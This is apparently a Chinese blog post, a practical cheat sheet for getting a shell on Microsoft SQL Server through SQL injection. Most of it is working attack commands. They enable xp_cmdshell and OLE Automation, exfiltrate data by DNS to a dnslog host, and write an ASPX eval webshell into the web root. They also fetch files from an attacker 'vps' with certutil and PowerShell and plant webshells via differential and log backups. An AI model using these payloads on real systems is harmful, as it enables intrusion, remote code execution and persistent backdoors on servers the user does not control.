总结一下实战用的比较多的getshell姿势
特性
sqlserver不支持limit,支持top关键字select top 1 * from users
mssql2000:遇到过一次是dba
mssql2005:权限一般是system
mssql2008: nt authority\network service
数据文件为.mdf和.ndf
日志文件为,ldf
数据的默认路径:C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data
数据库体系
1.和Oracle不同和db2类似,一个实例对应多个数据库
2.默认的5个数据库master、model、msdb、Resource、tempdb
其中打交道比较多的就是master,里面有很多存储过程可以执行命令。
信息收集
select @@version
是否支持堆叠
;waitfor delay ‘0:0:5’
是否是dba
是否有回显
- 命令执行无回显
1.将命令执行结果写入表
2.dns带外
1 | select * into temp_trc from fn_trace_gettable('\\'+(select @@version())+'.xxx.dnslog.cn\1.trc',default); |
是否出网
1 | powershell Invoke-WebRequest -Uri http://vps/ |
是否站库分离
1 | host_name()=@@servername |
执行命令
xp_cmdshell
SQL Server 2005默认是关闭的所以需要开启cmdshell
开启方式(高权限):
1 | ;EXEC sp_configure 'show advanced options',1; |
declare 函数,他是mssql声明局部变量的函数, declare定义变量 set设置变量值 exec执行变量
命令执行select * from test where id=1 if 1=1 execute xp_cmdshell ‘whoami’
- 不支持堆叠的情况
1
2
3id=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''dir''');sp_oacreate
1
2
3
4EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
此方法无回显
openrowset
1 | * 开启 Ad Hoc Distributed Queries 组件 |
读写文件
不出网的情况写dns马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22-- 开启权限(开启这2个权限后才能写文件)
-- 开启
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
--关毕
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
--写文件 这里@FilePath 是路径,@STR_CONTENT 是内容,整理流程是先创建在写入。t-sql读写文件
declare @FilePath nvarchar(400),@xmlstr varchar(8000);
Declare @INT_ERR int;
Declare @INT_FSO int;
Declare @INT_OPENFILE int;
Declare @STR_CONTENT as varchar(MAX);
DECLARE @output varchar(255);
DECLARE @hr int;
DECLARE @source varchar(255);
DECLARE @description varchar(255);
set @FilePath = 'c:/windows/tasks/111.txt';
set @STR_CONTENT = convert(varchar(MAX),0x313233); // base64->hackbar转16
EXEC @INT_ERR = sp_OACreate 'Scripting.FileSystemObject', @INT_FSO OUTPUT;
if(@INT_ERR <> 0) BEGIN EXEC sp_OAGetErrorInfo @INT_FSO RETURN END;
EXEC @INT_ERR=SP_OAMETHOD @INT_FSO,'CreateTextFile',@INT_OPENFILE OUTPUT,@FilePath;
EXEC @INT_ERR=SP_OAMETHOD @INT_OPENFILE,'Write',null,@STR_CONTENT;
EXEC @INT_ERR=SP_OADESTROY @INT_OPENFILE;出网
- 找路径 利用命令执行找web路径for /r D:\ %i in (*flag.php) do @echo %i>%i.txt
- echo 写shell
1
echo ^<%@ Page Language="Jscript"%^> ^<% eval(Request.Item["ant"],"unsafe"); %^>> C:\inetpub\wwwroot\a.aspx
- 文件下载写shellsp_oacreate写文件,如上
1
2certutil.exe -urlcache -split -f http://vps/a.txt D:\a.txt
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://vps/a.txt', 'D:\a.txt')"
不能执行命令的情况
差异备份getshell
1 | backup database test to disk = 'F:\bak.bak';-- |
一句话写入d.asp文件中
这里用不了for命令找绝对路径,可以用xp_dirtree存储过程
1 | execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 |
创建临时表插入临时表查询
log备份getshell
比较大的限制是要求数据库备份过
1 | alter database 库名 set RECOVERY FULL |
ps:
1 | for命令语法: |
总结
实战的话暂时就用到这些,各种环境不同情况会加以补充。
告自己:不要再感到迷茫了学习就完事儿